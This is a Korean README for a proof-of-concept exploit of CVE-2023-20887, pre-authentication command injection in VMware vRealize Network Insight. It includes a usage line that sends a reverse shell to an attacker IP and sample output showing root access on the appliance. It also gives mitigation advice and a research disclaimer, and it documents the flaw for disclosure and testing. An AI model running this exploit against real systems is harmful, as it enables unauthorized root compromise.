sinsinology/cve-2023-20887VMWare vRealize Network Insight 사전 인증 RCE (CVE-2023-20887)
CVE-2023-20887 VMWare Aria Operations for Networks (vRealize Network Insight) 무인증 원격 코드 실행(RCE) PoC
이 취약점에 대한 근본 원인 분석은 제 블로그에서 확인할 수 있습니다: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/
VMWare Aria Operations for Networks (vRealize Network Insight)는 Apache Thrift RPC 인터페이스를 통해 사용자 입력을 수신할 때 명령 주입(command injection)에 취약합니다. 이 취약점으로 인해 원격의 인증되지 않은 공격자가 기본 운영 체제에서 root 사용자로 임의의 명령을 실행할 수 있습니다. RPC 인터페이스는 우회할 수 있는 역방향 프록시(reverse proxy)로 보호됩니다. VMware는 이 문제의 심각도를 최대 CVSSv3 기본 점수 9.8의 Critical 범위로 평가했습니다. 악의적인 행위자는 어플라이언스에서 'root' 권한으로 원격 코드 실행을 할 수 있습니다. VMWare 6.x 버전이 영향을 받습니다.
python CVE-2023-20887.py --url https://192.168.116.100 --attacker 192.168.116.1:1337
VMWare Aria Operations for Networks (vRealize Network Insight) pre-authenticated RCE || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
(*) Starting handler
(+) Received connection from 192.168.116.100
(+) pop thy shell! (it's ready)
sudo bash
id
uid=0(root) gid=0(root) groups=0(root)
hostname
vrni-platform-release
최신 버전으로 업데이트하거나 Progress Advisory의 지침에 따라 완화하세요.
이 소프트웨어는 순전히 학술 연구와 효과적인 방어 기술 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 프로젝트 유지 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.